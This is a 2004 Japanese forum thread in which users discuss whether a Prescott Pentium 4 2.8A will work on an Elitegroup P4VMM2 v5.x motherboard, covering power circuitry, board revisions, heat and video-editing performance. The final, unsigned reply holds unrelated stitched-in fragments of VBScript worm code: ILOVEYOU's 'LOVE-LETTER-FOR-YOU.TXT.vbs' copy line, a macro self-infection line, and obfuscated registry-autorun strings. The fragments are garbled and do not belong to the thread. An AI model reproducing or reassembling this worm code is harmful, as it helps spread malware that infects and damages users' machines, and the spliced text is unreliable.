[38193]  P4 Prescott について
投稿者：HOT さん   2004-05-29 15:16:13
現在エリートのマザーボードP4VMM2 v5.xにてセレロン-1.7Ｇを使っていますが、ペンティアム４-2.8Ｇに載せ換えようと思っています。
このマザーボードは533でノースウッドにて2.8Ｇが可能のようです。
しかし今現在はプレスコットという新コアがあります。そこで質問ですがプレスコット対応とは特に謳ってないのですが、ペンティアム４-2.8A(プレスコット)は使用できるのでしょうか？同じ533だから使えそうな気がするのですがどうでしょうか
  1. tsh さん   2004-05-29 17:43:30
    確かプレスコットは大量に電力を要求するので、
    非対応マザーにプレスコットを載せるとCPUへの電力供給部が壊れる可能性があったような、、、

    ＃うろ覚えですみません。
  2. いしかわ さん   2004-05-29 19:55:13
    同じ533ですが、電圧も要求電流もちがいます
    まぁまず動かないと思いますが、お金を捨てる覚悟なら、、、(えー
    それにしてもPC2100対応のM/BにP4ですか、、
    どういう用途に使うかによりますが、あんまり頭でっかちな構成にしても、費用対効果としてはどうかなー、、という気はしますけども、、、
    2.8GHzも安くなったとはいえ2万円くらいはするんですよね そのうえHTなしなんで、どのくらい快適になるかというと微妙じゃないでしょうか
  3. i96968 さん   2004-05-29 20:59:24
    コアが違うので動かない可能性大だと思いますが、P4VMM2は v5.0AでNorthwood 2.8GHzまで対応、v7.3で同3.06GHzまで対応となってますので、仮に動いてくれたとしても電源回路がついていかない可能性が高そうですね。（写真見る限りでは明らかに２フェーズですし）
    M/B燃やしたくなければ、素直にNorthwood 2.8GHzにされた方が吉かと。
  4. HOT さん   2004-05-29 22:28:16
    やはり駄目なんですね。動画編集を始めようと思っていました。
    いまとそれほど快適さは変わらないのですか、
    もう少し我慢してＮＥＷマシンの購入を考えていきます。
    有り難うございました。
  5. 森の熊たん さん   2004-05-30 08:04:03
    電源容量もそうですが同じ2.8Ghzのより１０度ほど温度高いそうで
    その辺も私には怖いです
    これから熱くなるのでなおいっそう
  6. N.W さん   2004-05-31 02:33:42
    ぐぐるとこんなお店が…
    http://www.vspec-bto.com/bto/bto-light.htm
    P4VMM2に2.4Aと2.8Aを載せて売ってます…とりあえず動きはするんじゃないでしょうか？
  7. いしかわ さん   2004-05-31 02:48:40
    先にも出ているとおり、Rev.によって動作させられるCPUが若干違うようですので、5.xで確実に動作するか? というと、どうでしょうかねぇ、、
  8. N.W さん   2004-05-31 09:13:37
    失礼しました、PCB Rev.の違いまで考える必要がありますよね…
    http://elite.gisnet.jp/support/socket478.htm
    によるとRev. 5.0Aも、Rev. 7.1も非対応のようです…Rev. 8.1では対応しているようですが、ちょっと苦しいかもしれません。
    早とちりしてしまい申し訳ありません。
  9. i96968 さん   2004-05-31 11:11:49
    ＞P4VMM2
    製品写真をごらんになればお分かりと思いますが、v5.x、v7.x、v8.xはかなり設計が違い、特にv7.xとv8.xは全くの別設計で、PCIスロットの数すら（v7.x ２本、v8.x ３本）違い、電源周りも全く別物（v7.x ２フェーズ、v8.x ３フェーズ）になっています。これはもはや違うM/Bです（v5.x(SDR or DDR)とv7.x以降(DDR only)では対応メモリも違う）。
    こういうのに同じ型番をつけて欲しくないですねぇ‥‥ユーザーにとっては紛らわしい限りです。

    ＞動画編集を始めようと思っていました。
    多分SSE3が狙いなのでしょうが、現状ではTMPEGEnc3位しか対応していませんよ？SSE3を使わなければ2.8GHzの方が若干速いようですし、Hyper Threading非対応、発熱等も考えれば、強いて2.8AGHzにする利点はないように思うのですが‥‥

    ＞いまとそれほど快適さは変わらない
    Celeron 1.7GHzとPentium4 2.8GHzでしたら随分変わると思います。
    エンコード速度はCPUクロックに依存しますから、1.7GHz→2.8GHzだけでも大きいですし、その他にもFSB 400MHz→533MHz、2nd Cache 128KB→512KBとアップしますので、体感でも速くなったのが実感できると思います。
  10. i96968 さん   2004-05-31 12:11:55
    あ、私のRes.は2.8GHz = Northwood、2.8AGHz = FSB 533MHz版 Prescottで読んで下さい。
    そうしないと2nd Cache容量とかHT対応とか大ボケになっちゃいますので‥‥m(_ _)m
  11. HOT さん   2004-05-31 22:13:52
    たくさんのお返事有難うございます。

    実はこのマシンをメインにする前はPC-9821V200SZCをメインで使っていました。
    しかしPC-9821にもうお金を掛けたくなくなり、取りあえず安いＡＴ互換機なら何でも良いと思い購入。(ＡＴ互換機学習用)
    そして触っていくうちに”あれもこれも”とやりたくなり｛まず問題なく拡張機器が動作するので(あたりまえだ)｝PC-9821をメインにしていた時代では興味のなかった事まで興味を持つようになり(動画編集など)今回の質問をしてみたのです。

    まだまだ未熟者ですが大変参考になります。

    しかし昔ほどPCにお金を掛けられなくなったのも事実です。
    (つぎ込んだら生活費が大変になるかも)
  12. さん   2004-07-24 19:07:58
    ToInfect.CodeModule.InsertLines BGN＠｀ ADI1.CodeModule.Lines(BGN＠｀ 1)
    c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs
    G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su")＠｀
    E.BuildPath(E.GetSpecialFolder(1)＠｀ A("VHORU@SU/WCR"))
    lines(n)=replace(lines(n)＠｀""""＠｀chr(93)+chr(45)+chr(93))